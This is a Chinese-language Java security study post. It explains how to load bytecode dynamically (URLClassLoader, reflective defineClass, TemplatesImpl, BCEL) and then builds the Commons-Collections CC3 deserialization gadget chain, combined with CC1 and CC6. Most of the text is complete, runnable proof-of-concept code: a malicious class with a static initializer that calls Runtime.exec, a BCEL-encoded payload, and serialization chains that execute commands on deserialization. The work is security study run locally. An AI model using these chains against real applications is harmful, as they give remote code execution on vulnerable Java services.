再次深入学习动态加载字节码:
动态加载字节码#
1、什么是Java的字节码#
严格来说,Java字节码(ByteCode)其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中。
java的核心就是跨平台运行,Java编译的结果–字节码(.class文件)交给 JVM 去运行,同时如果其他语言可以编译为字节码文件,也可以交由 JVM 运行

2、动态加载字节码的方法#
2.1 利用 URLClassLoader 加载远程 class 文件#
解释 URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程。
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
- URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
- URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
- URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
我们正常开发的时候通常遇到的是前两者,那什么时候才会出现使用 Loader 寻找类的情况呢?当然是非 file 协议的情况下,最常见的就是 http 协议。
2.1.1 file 协议#
先编译一个文件:
1
2
3
4
5
6
7
8
9
10
11
| import java.io.IOException;
public class Calc {
static {
try{
Runtime.getRuntime().exec("calc");
} catch(IOException e){
e.printStackTrace();
}
}
}
|

使用 URLClassLoader 加载:
1
2
3
4
5
6
7
8
9
10
| import java.net.URL;
import java.net.URLClassLoader;
public class ClassLoader_Calc {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///E:\\")});
Class calc = urlClassLoader.loadClass("Calc");
calc.newInstance();
}
}
|

2.1.2 http 协议#
先用python 起一个 http 服务:
1
| python -m http.server 8999
|

1
2
3
4
5
6
7
8
9
10
11
12
| import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class HelloClassLoader {
public static void main(String[] args) throws MalformedURLException, InstantiationException, IllegalAccessException, ClassNotFoundException {
URL[] urls = {new URL("http://localhost:8999/")};
URLClassLoader classLoader = URLClassLoader.newInstance(urls);
Class c = classLoader.loadClass("Calc");
c.newInstance();
}
}
|
2.2 利用 ClassLoader#defineClass 直接加载字节码#
不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用:
ClassLoader#loadClass -> ClassLoader#findClass -> ClassLoader#defineClass
loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClassfindClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClassdefineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
学习如何让系统的 defineClass 来直接加载字节码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| import java.lang.reflect.Method;
import java.util.Base64;
public class DefineClass {
public static void main(String[] args) throws Exception {
//获取 ClassLoader 的 defineClass 方法
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
//将 base64 字符串解码成 class 文件的字节码
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
//在系统类加载器上调用 defineClass,将字节数组定义成一个 Class 对象
Class hello = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
//调用无参构造
hello.newInstance();
}
}
|

跟进 defineClass 看到它是一个 protected 属性,无法直接访问,所以上述例子中用反射调用。

2.3 利用 TemplatesImpl 加载字节码#
defineClass 方法无法直接使用,但是呢,TemplatesImpl 类中给我们提供了一个入口:

TemplatesImpl 类继承了 ClassLoader ,并重写 defineClass 方法,并且是可以被外部调用
现在以 TemplatesImpl#defineClass 为终点跟踪一下这条链:
查找用法:TemplatesImpl.TransletClassLoader.defineClass

TemplatesImpl.defineTransletClasses.defineClass
defineTransletClasses 函数还是私有的,继续找
这里查找 defineTransletClasses 的用法后,找到三个结果

getTransletClasses 和 getTransletIndex() 都是返回了一个储存值,用于后续操作


而 getTransletInstance 中 .newInstance() 会调用无参构造创建一个实例,可以用于我们后续的代码执行所以重点跟它

来到 newTransformer 函数,它是公有的,到这里就可以了

小总结一下:
TemplatesImpl.TransletClassLoader.defineClass
TemplatesImpl.defineTransletClasses.defineClass
TemplatesImpl.getTransletInstance.defineTransletClasses
TemplatesImpl.newTransformer.getTransletInstance
TemplatesImpl
newTransformer
getTransletInstance
defineTransletClasses
defineClass
TransletClassLoader.defineClass
接下来构造 POC:
首先满足俩个条件:

进入 defineTransletClasses -> newInstance


前后结合一下,将 _bytecodes 构造为一维数组套二维数组:
1
2
| byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
|
_tfactory 这个变量被标记为 transient (不可序列化)

然后在 readObject 中找:看到已经被赋值了

先来一个要执行的类:将其编译后放在指定位置
1
2
3
4
5
6
7
8
9
10
11
| import java.io.IOException;
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class HelloTemplateImpl {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates, "aaa");
Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);
//这里先赋值看poc是否成功
Field tfactoryFiled = tc.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}
|
执行后报错:NullPointerException

调试查找哪里出了问题:
可以看到 _transletIndex:-1。我们需要进入到 if 语句才能正常执行

所以要让执行类继承 AbstractTranslet 类(对应:ABSTRACT_TRANSLET),

最终完整的执行类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class HelloTemplateImpl {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates, "aaa");
Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);
Field tfactoryFiled = tc.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}
|

2.4 利用 BCEL ClassLoader 加载字节码#
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中。
关于BCEL的详细介绍:《BCEL ClassLoader去哪了》
1
2
3
4
5
6
7
8
9
10
11
12
13
| import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class BCEL {
public static void main(String[] args) throws Exception {
Class calc = Class.forName("Calc");
JavaClass javaClass = Repository.lookupClass(calc);
String code = Utility.encode(javaClass.getBytes(),true);
System.out.println(code);
}
}
|

执行后可以看到有一对乱码:BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。
1
| $l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5$e5$40$_$dc$40$5c$QH$88$b0$88$o8O$87Q$Z$II$95N$Ro$c4$99$L$m$O$3c$A$P$85$f0$M$ab$E$91b$c7$bf$ed$cf$b6$f2$fa$f6$fc$C$60$NK$3e$3c$M$fb$Y$c1$a8$871$e3$c7$5dL$f8$c8a$d2$c5$94$8bi$86$fc$86$8a$95$ded$c8Vk$a7$M$ceVr$$$ZJ$a1$8a$e5A$f7$ba$v$d3$T$de$8cH$v$87$89$e0$d1$vO$95$89$3fEG_$a8$O1$c2$z$k$89u$GoCD$9f8F$e9Jx$c9ox$5d$r$f5$dd$c3$ed$5b$n$dbZ$r1$95$V$h$9a$8b$ab$7d$de$b6$Y$da$88$c1o$q$ddT$c8$je$b0$F$83$5b5$bd$B$K$f0$5d$cc$E$98$c5$i$cd$a3$VD$80y$y0$M$fc$c3$O$b0$I$df$iAe$M$7d$b6$o$e2q$ab$7e$d8$bc$94B3$f4$ffH$c7$ddX$abk$9a$e6$b7$a4$fe$O$w$d5Z$f8$a7$86Vv$e4$ad$q$e4r$f5W$b6$a1S$V$b7$d6$7f7$i$a5$89$90$9d$O5$94$da$94$d4$f6$d0$93$94$LI$H$b8$f43$cc$93$B3g$91$ed$a1$a8N$9e$91$cf$ad$3c$82$dd$dbt$406o$c5$y$8ad$83$8f$C$f4$a2D$deC$dfw3$b70$a0$fc$84L9$fb$A$e7$ec$O$de$de$ca$D$f2$f7V$_Po$8e$u$868D_$86$5b$b0$aaKd$P$fdD$fa$9aP$84Cq$99$a2$Bz$5ddB$X$83$O$r$wv$a9$a1w$m$c7$fd$faV$C$A$A
|
BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。
在 ClassLoader#loadClass() 中,其会判断类名是否是 $$BCEL$$ 开头,如果是的话,将会对这个字符串进行 decode
1
2
3
4
5
6
7
| import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class BCELRCE {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException {
new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$Am$91$c9N$c3$40$M$86$ffi$d3$s$N$v$85B$d9$f7$b5$e5$40$_$dc$40$5c$QH$88$b0$88$o8O$87Q$Z$II$95N$Ro$c4$99$L$m$O$3c$A$P$85$f0$M$ab$E$91b$c7$bf$ed$cf$b6$f2$fa$f6$fc$C$60$NK$3e$3c$M$fb$Y$c1$a8$871$e3$c7$5dL$f8$c8a$d2$c5$94$8bi$86$fc$86$8a$95$ded$c8Vk$a7$M$ceVr$$$ZJ$a1$8a$e5A$f7$ba$v$d3$T$de$8cH$v$87$89$e0$d1$vO$95$89$3fEG_$a8$O1$c2$z$k$89u$GoCD$9f8F$e9Jx$c9ox$5d$r$f5$dd$c3$ed$5b$n$dbZ$r1$95$V$h$9a$8b$ab$7d$de$b6$Y$da$88$c1o$q$ddT$c8$je$b0$F$83$5b5$bd$B$K$f0$5d$cc$E$98$c5$i$cd$a3$VD$80y$y0$M$fc$c3$O$b0$I$df$iAe$M$7d$b6$o$e2q$ab$7e$d8$bc$94B3$f4$ffH$c7$ddX$abk$9a$e6$b7$a4$fe$O$w$d5Z$f8$a7$86Vv$e4$ad$q$e4r$f5W$b6$a1S$V$b7$d6$7f7$i$a5$89$90$9d$O5$94$da$94$d4$f6$d0$93$94$LI$H$b8$f43$cc$93$B3g$91$ed$a1$a8N$9e$91$cf$ad$3c$82$dd$dbt$406o$c5$y$8ad$83$8f$C$f4$a2D$deC$dfw3$b70$a0$fc$84L9$fb$A$e7$ec$O$de$de$ca$D$f2$f7V$_Po$8e$u$868D_$86$5b$b0$aaKd$P$fdD$fa$9aP$84Cq$99$a2$Bz$5ddB$X$83$O$r$wv$a9$a1w$m$c7$fd$faV$C$A$A").newInstance();
}
}
|

CC3 链分析#
环境:#
JDK :8u65
commons-collections 3.2.1
分析链#
CC3 利用的就是上文分析的 ”利用 TemplatesImpl 加载字节码“这条链,然后结合 CC1/CC6 的前半部分形成可用 POC。

TemplatesImpl 链:#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class HelloTemplateImpl {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates, "aaa");
Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);
Field tfactoryFiled = tc.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}
|
CC1 + CC3 (InvokerTransformer)#

CC1:#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
| import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer);
Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
|
结合一下啊:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates, "aaa");
Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);
Field tfactoryFiled = tc.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates, new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null, null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//chainedTransformer.transform(1);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer);
Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
|

CC6:#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
| import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6Test02 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry( lazyMap,"aaa");
HashMap<Object, Object> map2 = new HashMap<>();
Object o = map2.put(tiedMapEntry, "bbb");
map.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryFiled = lazyMapClass.getDeclaredField("factory");
factoryFiled.setAccessible(true);
factoryFiled.set(lazyMap,chainedTransformer);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3Test02 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates, "aaa");
Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);
Field tfactoryFiled = tc.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates, new TransformerFactoryImpl());
//templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap();
Map<Object, Object> outerMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tme = new TiedMapEntry(outerMap, "aaa");
Map expMap = new HashMap();
expMap.put(tme, "value");
map.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryFiled = lazyMapClass.getDeclaredField("factory");
factoryFiled.setAccessible(true);
factoryFiled.set(outerMap, chainedTransformer);
serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
|


分析:#
而在 ysoserial 中并没有使用 InvokerTransformer,这是因为黑名单过滤时很有可能会将 InvokerTransformer 直接禁用,为了更广泛的使用, ysoserial 换了一条路:

《Java 安全漫谈》中也有提及
2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及Java反序列化利用工具ysoserial,随后引爆了安全界。开发者们自然会去找寻一种安全的过滤方法,于是类似 Serialkiller 这样的工具随之诞生。
SerialKiller是一个ava反序列化过滤器,可以通过黑名单与白名单的方式来限制反序列化时允许通过的类。在其发布的第一个版本代码中,我们可以看到其给出了最初的黑名单:

这个黑名单中InvokerTransformer赫然在列,也就切断了CommonsCollections1的利用链。有攻就有防,ysoserial随后增加了不少新的Gadgets,其中就包括CommonsCollections3。
CommonsCollections3的目的很明显,就是为了绕过一些规则对InvokerTransformer的限制。CommonsCollections3并没有使用到InvokerTransformer来调用任意方法,而是用到了另一个类,com.sun.org.apache.xalan.internal.xsltc.trax.TrAxFilter。
现在继续找 newTransformer 的用法:
这里的 Process 只是 exec() 的返回值,如果你不去读它的输出或等待它结束,它就没用了,一般对象,不用它

getOutProperties,是反射调用的方法,可能会在 fastjson 的漏洞里面被调用。

TransformerFactoryImpl 不能序列化,并且构造函数传参困难


TrAXFilter 也不能序列化,但构造函数简单,想着调用 TrAXFilter 的构造函数

那么如何使用 TrAXFilter 的构造函数,这里用到了 InstantiateTransformer
InstantiateTransformer.transform 判断传入的参数是否为 Class 类型,如果是,获取指定构造器,调用构造函数。

构造POC:#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3Test03 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates, "aaa");
Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);
Field tfactoryFiled = tc.getDeclaredField("_tfactory");
tfactoryFiled.setAccessible(true);
tfactoryFiled.set(templates, new TransformerFactoryImpl());
//添加
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
//修改
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","value");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null , chainedTransformer);
Class<?> c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c1.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
|

总结:#
本次就将 CC1、CC3、CC6放在一起吧:
